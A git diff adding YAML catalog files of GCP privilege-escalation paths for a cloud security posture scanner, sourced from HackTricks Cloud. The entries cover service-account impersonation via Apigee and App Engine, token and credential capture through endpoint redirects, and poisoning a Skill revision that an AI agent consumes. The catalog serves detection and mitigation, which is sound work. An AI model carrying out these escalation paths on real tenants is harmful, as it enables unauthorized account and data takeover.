src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bare-metal-solution-privesc.md#retrieve-a-still-valid-initial-server-password + technique: Reach one BMS server user through its still-valid initial password secret + reason: 'Manual-only: the exact password must still work for the named BMS server user and allow a new OS action; a normal + inventory cannot perform that login proof.' + +- id: gcp-composer-environments-executeairflowcommand + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentsexecuteairflowcommand--retrieve-airflow-secrets-or-run-available-dag-code + technique: Execute Airflow CLI commands in a Composer environment + reason: 'Manual-only: the recorded permission and environment identity do not establish a supported Airflow CLI path or + an existing DAG or connection that provides code execution or a usable credential.' + +- id: gcp-bigquery-table-row-credential + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#verified-service-account-private-key-in-table-rows + technique: Read BigQuery table rows + reason: 'Manual-only: a normal inventory does not read table rows or verify a reusable private key, exact service-account + subject, and successful authentication.' + +- id: gcp-compute-images-create-family-poison + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#poison-a-consumed-custom-image-family + technique: Publish a newer image into an image family consumed by instance templates + reason: 'Manual-only: a family reference in an instance template does not show that a workload consumes it, the source image + is controlled, or a later VM boots that image.' diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_main_reconciliation.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_main_reconciliation.yaml new file mode 100644 index 0000000000..27186dee81 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_main_reconciliation.yaml @@ -0,0 +1,175 @@ +# Main-only privilege paths reviewed and excluded from CSPM execution and UI. HackTricks Cloud source remains. +- id: gcp-artifactregistry-repositories-update-dependency-confusion + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#dependency-confusion + technique: Reconfigure a virtual repository's upstreams to enable dependency confusion + reason: The target uses uncollected artifact_consumer attachment inventory; repository update permission + alone cannot establish package resolution, a publishable upstream, and a later consumer install. The + prior reviewed source exclusion marks dependency confusion manual-only. + disposition: manual-only +- id: gcp-artifactregistry-tags-update + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistrytagsupdate--repoint-a-mutable-tag-to-another-stored-version + technique: Repoint a mutable tag to an attacker digest already in the package + reason: The target uses uncollected artifact_consumer attachment inventory, so it cannot bind a mutable + tag, alternate package version, and workload that later pulls it. The prior reviewed source exclusion + marks this exact tag-repoint path manual-only. + disposition: manual-only +- id: gcp-cloudfunctions-setiampolicy-actas + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionsupdate--source-upload--replace-an-existing-privileged-function + technique: gcp-cloudfunctions-setiampolicy-actas + reason: Google Cloud Functions documentation says only execution permissions are allowed at the per-function + IAM level, so function setIamPolicy cannot self-grant update or sourceCodeSet. The old reviewed exclusion + records this path as invalid; project-level deployment grants are covered by separate active techniques. + disposition: invalid-or-retired +- id: gcp-firebaseapphosting-backends-update-source + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#backend-hijack--repoint-source-or-runtime-identity + technique: gcp-firebaseapphosting-backends-update-source + reason: Manual-only path. Backend update permission and an existing backend do not prove control of + an accepted replacement GitHub repository, the live branch, automatic rollout settings, path filters, + or a later build. Keep the technique documented in HackTricks Cloud; exclude it from CSPM execution + and the UI. Exact build-and-rollout paths remain active. + disposition: manual-only +- id: gcp-firebaseauth-configs-update-exact-idp-principal + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthconfigsupdate--hijack-identity-platform-blocking-functions + technique: gcp-firebaseauth-configs-update-exact-idp-principal + reason: Manual-only path. Configuration update permission does not prove an attacker-controlled deployed + blocking function, enabled forwarding for the actual IdP credential, a later supported federated sign-in, + token capture, or new IdP access. Keep the technique documented in HackTricks Cloud; exclude it from + CSPM execution and the UI. + disposition: manual-only +- id: gcp-firebaseauth-users-update-exact-user-credential + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthusersupdate--take-over-an-application-user-or-set-privileged-custom-claims + technique: gcp-firebaseauth-users-update-exact-user-credential + reason: Manual-only path. User-update permission does not prove an exact usable account, accepted password + change, sign-in as that user, or an application action newly allowed to the caller. Keep the technique + documented in HackTricks Cloud; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-integration-invoke-input-effect-12 + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#integrationsintegrationsinvoke--invoke-a-credentialed-workflow + technique: Invoke existing published credentialed integration with chosen inputs + reason: The selector is generic gcp_challenge_fact; no Integration inventory or collector establishes + the exact published version, credentialed task, chosen input, successful invocation, and new target + action. The declared invoke permission alone cannot name a second principal or an added permission. + disposition: manual-only +- id: gcp-integration-invoke-input-effect-13 + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#http-connector-credential-forwarding + technique: Redirect credentialed HTTP connector via caller-controlled URL + reason: The selector is generic gcp_challenge_fact; no collector establishes an existing HTTP connector, + caller-controlled URL field, forwarded credential, exact subject, or newly allowed action. The declared + invoke permission alone cannot name a second principal or an added permission. + disposition: manual-only +- id: gcp-pa-s03-4-dialogflow + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dialogflow-post-exploitation.md#dialogflowwebhooksupdate--redirect-retained-external-authentication-material + technique: Redirect a routed webhook retaining an external credential + reason: The selector is generic gcp_challenge_fact; no collector establishes routed webhook use, retained + external authentication material, later token forwarding, or a newly allowed action. The webhook update + grant alone is not a verified external-identity path. + disposition: manual-only +- id: gcp-runtimeconfig-configs-setiampolicy-config-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#runtimeconfigconfigssetiampolicy--self-grant-administration-of-one-config + technique: Self-grant runtimeconfig.variables.get on a config + reason: Manual-only path. The scanner collects neither an exact runtimeconfig resource with its IAM + policy nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-s08-10-receive-monitoring-service-agent-oidc-tokens + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#scheduled-service-agent-oidc-token-harvesting---monitoringuptimecheckconfigscreate--an-endpoint-you-control + technique: Receive Monitoring service-agent OIDC tokens + reason: The selector is generic gcp_challenge_fact; no collector establishes a resource-typed uptime + check, its token audience, a receiver, or downstream authorization as the Monitoring service agent. + Uptime-check creation alone cannot establish a usable OIDC-token privilege path. + disposition: manual-only +- id: gcp-saasservicemgmt-release-unit-actuation + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-app-lifecycle-manager-privesc.md#saasservicemgmtreleasescreate--unitoperationscreate--rolloutscreate--apply-attacker-terraform-as-an-actuation-service-account + technique: Apply an attacker blueprint release to existing Units as their actuation service account + reason: Manual-only path. The scanner does not collect existing Units, their actuation service accounts, + compatible release and rollout topology, or a resulting actuation. IAM permissions alone cannot establish + a specific service-account authority gain. Keep the HackTricks Cloud procedure documented; exclude + it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-secretmanager-managed-rotation-exact-cloudsql-user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanagersecretsenablemanagedrotation--reset-a-cloud-sql-users-password-through-the-secret-identity + technique: Reset one Cloud SQL user's password through managed secret rotation + reason: Manual-only path. The scanner does not run password rotation, verify the exact Cloud SQL user + and secret identity, or authenticate with a new password to prove a newly allowed database action. + The current path depends on externally reviewed login evidence. Keep the HackTricks Cloud technique + documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-securesourcemanager-push-cicd + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#cicd-supply-chain-code-execution + technique: Push code to a repository that feeds a CI/CD pipeline + reason: Manual-only path. The collector has no Secure Source Manager repository or repository-controlled + triggers file inventory, so it cannot join a writable ref to an automatic build and its exact service + account. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-securesourcemanager-setiampolicy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#securesourcemanagerinstancessetiampolicy--repositoriessetiampolicy--iam-self-grant-to-readpoison-source + technique: Self-grant write on a Secure Source Manager instance or repository through IAM + reason: Manual-only path. IAM self-grant alone cannot establish a linked automatic build; the collector + lacks the repository, branch, triggers file and build-service-account join. Keep the technique in + HackTricks Cloud; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-servicedirectory-namespaces-setiampolicy-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-directory-privesc.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence + technique: Self-grant servicedirectory.services.create on a namespace + reason: Manual-only path. The scanner collects neither an exact servicedirectory resource with its IAM + policy nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-servicedirectory-services-setiampolicy-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-directory-privesc.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence + technique: Self-grant servicedirectory.services.update on a service + reason: Manual-only path. The scanner collects neither an exact servicedirectory resource with its IAM + policy nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-spanner-databases-setiampolicy-database-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasessetiampolicy--spannerinstancessetiampolicy--grant-database-access + technique: Self-grant spanner.databases.read on a database + reason: Manual-only path. The scanner collects neither an exact spanner resource with its IAM policy + nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-spanner-instances-setiampolicy-instance-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasessetiampolicy--spannerinstancessetiampolicy--grant-database-access + technique: Self-grant spanner.databases.read on a instance + reason: Manual-only path. The scanner collects neither an exact spanner resource with its IAM policy + nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-workspace-addons-deployment-update + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#gsuiteaddonsdeploymentsupdate + technique: Repoint an existing HTTP Workspace add-on deployment to a source-controlled endpoint + reason: Manual-only path. The collector does not inventory the exact installed HTTP deployment, its + consenting users and scopes, or a later invocation of the changed endpoint. Deployment-update permission + alone cannot establish a Workspace user authority edge. Keep the technique in HackTricks Cloud; exclude + it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-workspace-cloud-dns-admin-recovery + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#cloud-dns-to-workspace-administrator-recovery + technique: Publish the administrator-recovery DNS challenge for the Workspace primary domain + reason: Manual-only path. The collector does not establish that a writable public Cloud DNS zone is + actually delegated for the Workspace tenant's primary domain or that administrator recovery accepts + the challenge. A lookalike or private zone must not create a Workspace administrator edge. Keep the + technique in HackTricks Cloud; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-workspace-dwd-key-create + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#compromise-existing-delegation + technique: Create a key for a domain-wide-delegated service account + reason: Manual-only path. A key creation grant cannot establish that the exact service account has a + Workspace domain-wide-delegation grant, that a subject and scope are accepted, or that the created + key yields a delegated token. Keep the technique in HackTricks Cloud; exclude it from CSPM execution + and the UI. + disposition: manual-only +- id: gcp-workspace-dwd-keyless-signjwt + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#keyless-dwd-abuse-with-signjwt-or-signblob + technique: Sign a delegation JWT with a domain-wide-delegated service account's Google-managed key + reason: Manual-only path. GCP IAM can establish signJwt or signBlob permission, but the collector cannot + read the Workspace tenant's domain-wide-delegation client grant, approved scopes, or a successful + delegated token exchange. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and + the UI. + disposition: manual-only diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_sweep.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_sweep.yaml new file mode 100644 index 0000000000..af15cff693 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_sweep.yaml @@ -0,0 +1 @@ +# Reviewed privilege-escalation sweep exclusions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/_todo.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/_todo.yaml new file mode 100644 index 0000000000..70b2073345 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/_todo.yaml @@ -0,0 +1,4 @@ +# GCP catalog items not yet written (blocked during authoring). Kept as comments because the catalog loader parses +# every non-_excluded YAML file in this directory as an entry list; uncomment/move when the loader skips _todo files. +# +# (empty: the Dataform page is now covered by dataform.yaml) diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/accesscontextmanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/accesscontextmanager.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/accesscontextmanager.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml new file mode 100644 index 0000000000..030cdbaec0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml @@ -0,0 +1,40 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Agent Registry privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-agent-registry-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: agentregistry_skill_consumer -> runtime identity of a managed agent / environment that mounts the +# logical Skill in "{target.artifact_arn}" (floating defaultRevision); agent mount inventory is not collected. +- id: gcp-agentregistry-skill-default-revision-replace + provider: gcp + service: agentregistry + title: Publish a Skill revision used by an agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md#agentregistryskillrevisionscreate--agentregistryskillsupdate--replace-an-executable-skills-default-revision + source_revision: 171e422 + summary: Publishing a new Agent Registry Skill revision may let the source run a bounded action in a consumer that resolves that Skill's floating default. + requires: + all_of: + - action: agentregistry.skillRevisions.create + resource: '{target.artifact_arn}' + - action: serviceusage.services.use + resource: '{target.quota_project}' + target: + kind: gcp_verified_authority + selector: + gcp_agentregistry_skill_evidence: true + scope: any + outcome: bounded_authority + aggregate_as: Exact downstream actions observed through consumers of a changed Agent Registry Skill + conditions: + - id: exact_skill_consumer + description: A reviewed record must show the consumer resolves this Agent Registry Skill's logical name and changed default revision, not a pinned revision or a similarly named Skill Registry resource. + - id: observed_bounded_action + description: The consumer must load the replacement payload and perform a named action on an exact resource that the source could not access before. + - id: explicit_pointer_update + description: If the record says the pointer was changed explicitly, the source also needs agentregistry.skills.update on the exact Skill. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/agentregistry.user, editor and admin on Skills, pin agents to immutable revisions and keep security scanning enabled. + notes: Preview service. Creating a revision automatically makes it active according to Google documentation. A verified record binds the exact Skill, quota project, consumer, runtime identity, changed revision, and newly successful bounded action; no generic service-account attachment is inferred. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry_external.yaml new file mode 100644 index 0000000000..c52f191137 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry_external.yaml @@ -0,0 +1,32 @@ +# A redirected service endpoint creates no path until a victim actually sends +# a usable, subject-bound credential and the source gains a new target action. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-agentregistry-service-redirect-exact-external-principal + provider: gcp + service: agentregistry + title: Capture one bound agent credential through a service endpoint redirect + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md#agentregistryservicesupdate--redirect-a-bound-target-and-capture-its-agent-identity-credential + source_revision: f0f683242a + summary: Updating an existing bound Agent Registry service URL may route a later authorized agent invocation to a controlled endpoint and reveal that agent's provider credential, reaching a named external principal only if the credential is captured and newly authorizes an exact API action. + requires: + all_of: + - action: agentregistry.services.update + resource: '{target.resource}' + - action: serviceusage.services.use + resource: '{target.quota_project}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: agent_registry_provider + scope: any + outcome: credentials + aggregate_as: Exact provider principal whose credential was captured and tested + conditions: + - id: bound_agent_credential_capture + description: A unique reviewed record must bind the changed Service URL, unchanged projected URN and auth-provider Binding, later authorized victim invocation, controlled receiver capture, usable subject-bound credential, prior source denial, and newly allowed action on the exact provider resource. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Agent Registry service updates and validate destinations of credential-bearing bound services. + notes: QuotaProject records the exact project used for serviceusage.services.use and can differ from the Service project. TargetPlane must be agent_registry_provider. TargetServiceResource may be the exact HTTPS provider API resource; TargetPrincipalId and ObservedPrincipalId must be the credential's verified provider subject. Endpoint redirection, an API-key-shaped string, or an uninvoked binding alone creates no edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/aiplatform.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/aiplatform.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/aiplatform.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml new file mode 100644 index 0000000000..58d29608cc --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml @@ -0,0 +1,89 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Apigee privilege escalation techniques (GCP identity only; API traffic/credential tampering is excluded). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-apigee-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-apigee-proxy-deploy-with-sa-actas + provider: gcp + service: apigee + title: Deploy a proxy revision bound to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeeproxiescreate--apigeedeploymentscreate--apigeeproxyrevisionsdeploy--iamserviceaccountsactas--deploy-a-malicious-api-proxy-revision + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: apigee.proxyrevisions.deploy + resource: "*" + - action: apigee.deployments.create + resource: "*" + - action: apigee.proxies.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_apigee_proxy_deploy_path: true + scope: any + aggregate_as: "Service accounts bindable to Apigee proxy deployments in {project}" + conditions: + - id: apigee_org + description: The project must host an Apigee organization with an environment the proxy can be deployed to. + - id: proxy_token_use + description: The bound SA is used by proxy policies that authenticate to Google APIs; the source reaches it through requests to its own proxy. + - id: token_creator_for_runtime + description: The proxy SA must be in the Apigee organization's project and the active runtime identity must be allowed to mint tokens for it (normally Token Creator on the SA); otherwise the proxy cannot obtain Google tokens. + - id: standard_environment + description: Archive-deployment environments and Apigee Space-associated proxies follow different authorization and do not support SA-bound Google authentication in the same way. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Apigee proxy SAs and restrict apigee.proxyrevisions.deploy. + references: + - https://docs.cloud.google.com/apigee/docs/api-platform/security/google-auth/overview + notes: Deploying without a service account needs no actAs and yields no GCP identity (traffic tamper only, excluded). apigee.proxies.create is checked on the organization for both a new proxy and a new revision of an existing proxy, apigee.deployments.create on the environment and apigee.proxyrevisions.deploy on the revision. Direct environment IAM bindings are read from that environment. Managed Apigee service-agent delegation is evaluated; Hybrid's separately configured runtime SA remains unresolved when its identity is not collected. roles/apigee.apiAdminV2 lacks deployments.create and roles/apigee.environmentAdmin lacks authoring. + +- id: gcp-apigee-sharedflow-flowhook-with-sa-actas + provider: gcp + service: apigee + title: Deploy a shared flow bound to a chosen service account and attach it to an environment flow hook + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigeesharedflowscreate--apigeedeploymentscreate--apigeesharedflowrevisionsdeploy--apigeeflowhooksattachsharedflow--execute-a-malicious-shared-flow-across-an-environment + source_revision: 80bf7fe60f + summary: The source can obtain the Google API privileges of any service account in the Apigee project on which it holds iam.serviceAccounts.actAs, through a shared flow it deploys and attaches to a flow hook. + requires: + all_of: + - action: apigee.sharedflows.create + resource: "*" + - action: apigee.deployments.create + resource: "*" + - action: apigee.sharedflowrevisions.deploy + resource: "*" + - action: apigee.flowhooks.attachSharedFlow + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_apigee_sharedflow_hook_path: true + scope: any + aggregate_as: "Service accounts bindable to Apigee shared-flow deployments in {project}" + conditions: + - id: apigee_org + description: The project must host an Apigee organization with a standard (non-archive) environment that serves proxy traffic so the hooked flow executes. + - id: token_creator_for_runtime + description: The SA must be in the Apigee organization's project and the active runtime identity must be allowed to mint tokens for it; the flow uses the SA only through Google-authentication policies, request by request. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict apigee.flowhooks.attachSharedFlow and apigee.sharedflowrevisions.deploy, and grant actAs only on dedicated Apigee SAs. + references: + - https://docs.cloud.google.com/apigee/docs/api-platform/fundamentals/shared-flows + - https://docs.cloud.google.com/apigee/docs/api-platform/security/google-auth/overview + notes: Without a service account the shared flow yields traffic interception only (excluded). sharedflows.create is checked on the organization, deployments.create on the environment, sharedflowrevisions.deploy on the revision, and flowhooks.attachSharedFlow on an environment flow-hook child. A deployed proxy must exist in that environment for the hook to receive proxy traffic. Managed Apigee service-agent delegation is evaluated; Hybrid's separately configured runtime SA remains unresolved when its identity is not collected. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/apikeys.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/apikeys.yaml new file mode 100644 index 0000000000..deb21e6e64 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/apikeys.yaml @@ -0,0 +1,44 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP API Keys privilege escalation techniques (authorization keys bound to a service account only; standard keys are excluded). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-apikeys-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-apikeys-authorization-key-bound-sa + provider: gcp + service: apikeys + title: Create an authorization API key bound to a more-privileged service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md#create-an-authorization-key-bound-to-a-more-privileged-service-account + source_revision: 171e422 + summary: The source can create a key that acts as a selected service account only when calling an API that accepts authorization keys and is permitted by the effective key-binding policy. + requires: + all_of: + - action: apikeys.keys.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.resource}" + - action: iam.serviceAccountApiKeyBindings.create + resource: "{target.resource}" + target: + kind: gcp_verified_authority + selector: + gcp_bounded_service_execution: apikeys_authorization_key + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + outcome: bounded_authority + aggregate_as: "Service accounts usable through supported authorization-key APIs in {project}" + conditions: + - id: partial_api_scope + description: The key only works against APIs that accept authorization keys (documented for Vertex AI / aiplatform and the Gemini API), within the key's API restriction; it is not a credential for every Google Cloud API. + - id: effective_key_binding_policy + description: The effective managed policy must allow the key's API restriction. Gemini-only keys are allowed by default; changing the policy to allow other services requires an organization. + blockers: + - gcp_deny_policy + - id: org_policy_constraint + constraint: iam.managed.disableServiceAccountApiKeyCreation + confidence: conditional + severity: high + mitigation: Restrict service account key-binding and actAs grants, and limit allowed API services in the effective managed policy. + references: + - https://docs.cloud.google.com/docs/authentication/api-keys + notes: Google documents API Keys Admin, Service Usage Viewer, Service Account User and Service Account API Key Binding Admin as the required roles. The managed constraint allows Gemini-only keys by default. The CreateKey operation returns the key string (serviceusage.operations.get is only needed to poll it). diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/appengine.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/appengine.yaml new file mode 100644 index 0000000000..7f36a955bc --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/appengine.yaml @@ -0,0 +1,124 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP App Engine privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-appengine-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Versions run as the app-level default SA (@appspot.gserviceaccount.com) unless a per-version SA is set. + +- id: gcp-appengine-versions-create-actas + provider: gcp + service: appengine + title: Deploy an App Engine version running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#deploy-attacker-controlled-code-as-a-version-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, including the App Engine default service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: appengine.versions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_appengine_deploy_path: true + scope: same_project + aggregate_as: "Service accounts usable as App Engine runtime SA in {project}" + conditions: + - id: app_exists + description: An App Engine application must already exist in the project. + - id: deploy_prereqs + description: The direct Admin API can deploy from staged source without the caller creating a Cloud Build; gcloud adds build and operation-polling permissions. + - id: legacy_default_sa_actas_exception + description: In legacy-affected organizations the auto-created appspot default SA can be deployed as without actAs until constraints/appengine.enforceServiceAccountActAsCheck is enforced; this entry conservatively still requires actAs. + - id: version_sa_artifact_registry + description: The version's SA itself needs artifactregistry.repositories.uploadArtifacts (and downloadArtifacts for flexible) or the deployment never reaches execution. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs, remove roles/editor from the App Engine default SA and restrict roles/appengine.deployer. + references: + - https://cloud.google.com/appengine/docs/standard/configure-service-accounts + notes: An existing App Engine application, write access to its staging bucket, and a Docker repository the chosen runtime SA can upload to establish the standard-environment path. Other possible source or image paths remain unresolved. The selected SA must be in the application's project. + +- id: gcp-appengine-versions-create-legacy-default-sa-no-actas + provider: gcp + service: appengine + title: Deploy an App Engine version as the legacy default service account without actAs + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#deploy-attacker-controlled-code-as-a-version-service-account + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the auto-created App Engine default service account of projects where it can deploy versions, in legacy-affected organizations that do not enforce the App Engine actAs check. + requires: + all_of: + - action: appengine.versions.create + resource: "*" + target: + kind: gcp_service_account + selector: + target_id_glob: ["*@appspot.gserviceaccount.com"] + gcp_sa_in_scope_of_permission: true + gcp_appengine_deploy_path: true + gcp_appengine_legacy_actas_unenforced: true + scope: same_project + aggregate_as: "App Engine default SA deployable without actAs in {project}" + conditions: + - id: legacy_affected_org + description: Only legacy-affected organizations have the exemption; where constraints/appengine.enforceServiceAccountActAsCheck is not visible the check is already enforced and this edge does not exist. + - id: app_exists + description: An App Engine application must already exist and the version must run as the auto-created appspot service account. + - id: 